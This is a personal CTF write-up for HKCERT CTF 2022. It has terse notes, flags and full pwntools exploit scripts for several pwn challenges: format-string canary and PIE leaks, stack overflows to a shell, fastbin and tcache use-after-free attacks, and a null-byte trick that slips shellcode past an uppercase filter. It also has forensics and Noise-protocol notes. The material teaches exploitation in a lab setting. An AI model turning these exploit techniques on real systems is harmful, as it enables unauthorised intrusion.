Page MenuHomedesp's stash

hkcert22.md
No OneTemporary

hkcert22.md

### echo
format string leak and format string overwrite
https://hackmd.io/@blackb6a/hkcert-ctf-2022-i-en-3f8a9ef6#%E6%B2%99%E7%94%B0%E5%A4%A7%E6%9C%83%E5%A0%82--echo-Pwn
then buffer overflow with scanf and flag
had to relearn how `%n` work for a bit lmao forgot from maplectf alr
`hkcert22{d0_U_KNOW_fmt_str1ng_att4ck}`
```py
from pwn import *
from pwnlib.util.packing import *
io = remote('chal.hkcert22.pwnable.hk', 28037)
#io = process('chall')
elf = ELF('./chall')
# leak canary
payload0 = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p||%p'
io.sendlineafter(b'Input:\n', payload0)
# import time
# time.sleep(5)
# now the canary is leak on screen, script to get the canary value
canary = int(io.recvline().split(b'||')[1], 16)
# leak address
payload1 = b'%p'
io.sendlineafter(b'Input:\n', payload1)
# now the address is leak on screen, script to get the leaked address
leaked_address = int(io.recvline(), 16)
pie_base = leaked_address - (0x563bab54d061 - 0x0000563BAB54B000)
canLeave = pie_base + elf.symbols['can_leave']
getShell = pie_base + elf.symbols['get_shell']
# overwrite canLeave to non-Zero
io.sendlineafter(b'Input:\n', b'A'*8+p64(canLeave)) #i still cant figure out how to read from stack in the same payload sadge gotta ask jason again
payload2 = b'A%7$n'
io.sendlineafter(b'Input:\n', payload2)
# Calling system (in get_shell function) requires stack be aligned.
# Add ret_gadget (to add rsp by 8) before calling get_shell to align the stack.
ret_gadget = getShell + 25
len_of_input_before_canary = 0x68
payload3 = (b'a' * len_of_input_before_canary) + p64(canary) + p64(0) + p64(ret_gadget) + p64(getShell)
print(payload3)
io.sendlineafter(b':\n', payload3)
io.sendlineafter(b':\n', b'--')
io.interactive()
```
### echo2
puts no null terminator leak
need to leak canary libc and pie
pie and canary reachable since buffer 16 bytes bigger than needed, but libc out of range
that is until i realized the buffer wasnt initialized to 0 and had libc addresses in it already lmao
buffer overflow, ret to one gadget and flag `hkcert22{A_51NNple_pWn_f0r_w4rm_UP}`
```py
from pwn import *
from pwnlib.util.packing import *
io = remote('chal.hkcert22.pwnable.hk', 28045)
#io = process('echo2')
elf = ELF('./echo2')
io.sendafter(b'Input:\n', b'A'*8)
libc = int.from_bytes(io.recvline()[8:14], byteorder='little') - (ELF('./libc-2.31.so').symbols['_IO_2_1_stdout_'])
print("libc base:", hex(libc))
io.sendafter(b'Input:\n', b'A'*105)
next = io.recvline()
canary = b'\0' + next[105:104+8] #canaries always have lower byte being 00
print("canary:", canary.hex())
stack = int.from_bytes(next[104+8:104+14], byteorder='little') - (0x7FFEFE44FFA0 - 0x7FFEFE44FF10) #base of buffer; ignore the last 2 bytes since its always 00
print("stack:", hex(stack))
import time
time.sleep(8)
io.sendafter(b'Input:\n', b'A'*104 + b'A'*16) #cant send canary yet but doesnt matter
pie = int.from_bytes(io.recvline()[104+16:104+22], byteorder='little') - 0x12DE #again ignore the last bytes
print("pie:", hex(pie))
#from one_gadget
sh = libc + 0xe6c81
io.sendafter(b'Input:\n', b'A'*104 + canary + b'A'*8 + p64(sh)) #cant send canary yet but doesnt matter
io.sendafter(b'Input:\n', b'--\0')
io.interactive()
```
### clipboard
volatility clipboard (`./vol.py -f "Windows 7 x64.mem" --profile=Win7SP1x64 clipboard`)
got not much data so `-v`
originally thought its broken coz volatility freezes but then a huge chunk of text got spewed out
searching gives rtf headers
copy bytes, write to file with python, get flag in image after opening the rtf file
`hkcert22{f0r3ns1c_1s_fun_t0_pl4y_w1th}`
### uaf
learn glibc fastbin on the fly
realize user controlled malloc can screw up bin stack to reuse animal chunk
overwrite with get_shell and uaf to get shell
`hkcert22{w3L1C0me_70_World_0f_pwN_h34P_z0o}`
```py
from pwn import *
#p = process(['strace', './zoo'])
#p = process(['ld', '--library-path', '.', './zoo'])
#p = process('./zoo')
p = remote('chal.hkcert22.pwnable.hk', 28235)
g = cyclic_gen()
#the chunk we wanna uaf
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'24')
p.sendlineafter('> ', b'abcd'*(24//4))
#put another chunk onto LIFO fastbin with name not in the same bin
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'32')
p.sendlineafter('> ', b'efgh'*(32//4))
#free the chunk for uaf
#now in 0x18 bin:
#name0
#animal0
#(other bins are empty)
p.sendlineafter('> ', b'2')
p.sendlineafter('> ', b'0')
#free the chunk for screwing up the bin
#now in 0x18 bin:
#name0
#animal0
#animal1
#in it in order (bottom is last in)
#now in 0x20 bin:
#name1
p.sendlineafter('> ', b'2')
p.sendlineafter('> ', b'1')
#now we can reuse the other animal's chunk AND the uaf chunk since we are looking at the 0x18 bin
#since if you look above its double animal on the LIFO bin when we pop
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'24')
p.sendlineafter('> ', p64(0x401276)+b'a'*16)
# import time
# time.sleep(8)
#trigger uaf
p.sendlineafter('> ', b'3')
p.sendlineafter('> ', b'0')
p.interactive()
```
### stop peeping
mpeg-ts
use plugin to dump
realize a part of it is corrupt
opening spectrogram in sonic visualizer gives nothing either
give up
realize its 2 mpeg-ts streams after coming back
extract the shorter non rickroll one and open it in spectrogram
yay flag `hkcert22{n3v3r_g0nn4_g1v3_y0u_up_3xtr4ct_mp3_fr0m_pcap}`
### jumping fish
wireshark pcap (i think i just looked at strings actually but shh lmao)
see noise encryption format
search up noise
understand how noise works
search up snow
find snow::Builder (example from docs)
realize psk is static and keypair isnt
reimplement in python
didnt work so try responder and initiator mode all fails
realize packet has length field that python noise didnt implement (talking with harrier tells me its not related to snow)
implement that too
obtain payload from [@kaiziron](https://ctftime.org/user/92369) for `fiddle crab` which didnt work for this somehow but at least the response tells me my encryption and handshake stuff is implemented correctly
tried nextchessmove.com, even more confusion
eventually realized state is `0 1` at the end, turn is `b/w` near the end
send [@kaiziron](https://ctftime.org/user/92369)'s payload with the right turn and win flag
`hkcert22{t0o-much-n01s33333-d0-u_u3e_d3bugggg3r-0r-p33k-in70-n01s3?}` yes i peek into the noise :sunglasses:
```py
from pwn import *
from noise.connection import NoiseConnection, Keypair
from itertools import cycle
from cryptography.hazmat.primitives.asymmetric import x25519
from cryptography.hazmat.primitives import serialization
p = remote('chal.hkcert22.pwnable.hk', 28147)
#p.recvuntil(b'\0\x25')
p.recvuntil(b"Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s")
# Create instance of NoiseConnection, set up to use NN handshake pattern, Curve25519 for
# elliptic curve keypair, ChaCha20Poly1305 as cipher function and SHA256 for hashing.
proto = NoiseConnection.from_name(b'Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s')
kp = x25519.X25519PrivateKey.generate()
proto.set_keypair_from_private_bytes(Keypair.STATIC, private_bytes=kp.private_bytes(serialization.Encoding.Raw,serialization.PrivateFormat.Raw, serialization.NoEncryption()))
#from rust snow impl - generate keypair so i generated, psk is static key, initiator mode
proto.set_psks(b'lol_what_is_this_secret_thing??!')
proto.set_as_initiator()
proto.start_handshake()
p.send(b'\0\x30') #need size apparently which isnt implemented in this library but is in snow?
p.send(proto.write_message())
p.recvn(2) #recv size and discard
proto.read_message(p.recv(2048, timeout=0.5))
p.send(b'\0\x40')
p.send(proto.write_message())
#while True:
#fen = input().encode().strip() #cant send newline either
fen = b'7k/6Q1/8/8/5P2/6R1/PPPPP1PP/RNB1KBN1 b Q - 0 1' #seems like they only track current round and whose turn?
print(fen)
msg = proto.encrypt(fen)
p.send(len(msg).to_bytes(2, byteorder='big'))
p.send(msg)
p.recvn(2) #recv length
print(proto.decrypt(p.recv()))
```
### weeepark uaf2
learn tcache on the fly
realize its only 7 chunks long (which means if we overflow to fastbin after that we get an odd number that we can overwrite with)
no `get_shell` anymore, so need to somehow get shell
one gadget is hard to use coz no libc address
can use system in plt (no PIE), but need sh string in rdi
which means we need to leak heap chunk address to get sh string that we write ourselves
which is conveniently also in the binary with no PIE (zoo struct global var)
debugger to figure out the pointers and chunks that got overwriten, inject as found
shell and flag woo `hkcert22{zoo_z00_z0o_ZO0_ZoO_z11}`
```py
from pwn import *
from one_gadget import generate_one_gadget
context.binary = ELF('./zoo2')
#p = process(['strace', './zoo2'])
#p = process('./zoo2')
p = remote('chal.hkcert22.pwnable.hk', 28236)
g = cyclic_gen()
def alloc():
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendafter('> ', b'abcd'*(0x18//4))
def free(i):
p.sendlineafter('> ', b'2')
p.sendlineafter('> ', str(i).encode())
#alloc enough chunks
for i in range(10):
alloc()
#exhaust tcache
for i in range(9):
free(i)
#leak heap payload from known address (our binary)
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendafter('> ', p64(0x401276)+b'a'*8+p64(0x4040C8+8*1)) #get our payload's heap addr - 1st element should be pointing at our system payload to be added
p.sendlineafter('> ', b'3')
p.sendlineafter('> ', b'2')
p.recvuntil('added to zone 10')
p.recvuntil('(0-9)\n')
p.recvuntil(': ')
addr = int.from_bytes(p.recvline().strip(), byteorder='little')
print("ADDR", hex(addr))
#system payload
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendafter('> ', p64(0x401120)+ b'sh\0'+ b'a'*5 +p64(addr+8)) #get our payload's heap addr offset by 8 for the system pointer
# import time
# time.sleep(8)
#trigger uaf
p.sendlineafter('> ', b'3')
p.sendlineafter('> ', b'1')
p.interactive()
```
### shellcode runner 2
give up after realizing all existing upper encoders are x86 only
come back near the end of the ctf to realize the upper check function loops through with strlen but uses `read` to read bytes from stdin, which means we can null terminate and then still run the non alphanumeric payload at the end
find a sequence of instructions that works with null bytes - `add BYTE PTR [rax], al` is exactly `00 00` and is basically a nop coz rax has `0x1337000` which is a valid readable address
flag `hkcert22{d41d8cd98f00b204e9800998ecf8427e33a}`
```py
from pwn import *
from pwnlib.encoders.encoder import *
import pwnlib.shellcraft
context.binary = ELF('./shellrunner')
payload = shellcraft.sh()
print(payload)
#p = context.binary.process()
p = remote('chal.hkcert22.pwnable.hk', 28130)
# import time
# time.sleep(7)
#prepend add BYTE PTR [rax], al which does nothing since rax is at a valid readable address and we overwrite afterwards anyway
#this breaks the upper check since that iterates over the string with strlen() and we used read to read from stdin which aint affected
p.send(b'\0\0' + asm(payload))
p.interactive()
```

File Metadata

Mime Type
text/x-python
Expires
Mon, Aug 4, 9:30 PM (20 h, 20 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
02/1f/eb773d4a6c7caed8e3ff91221dc8

Event Timeline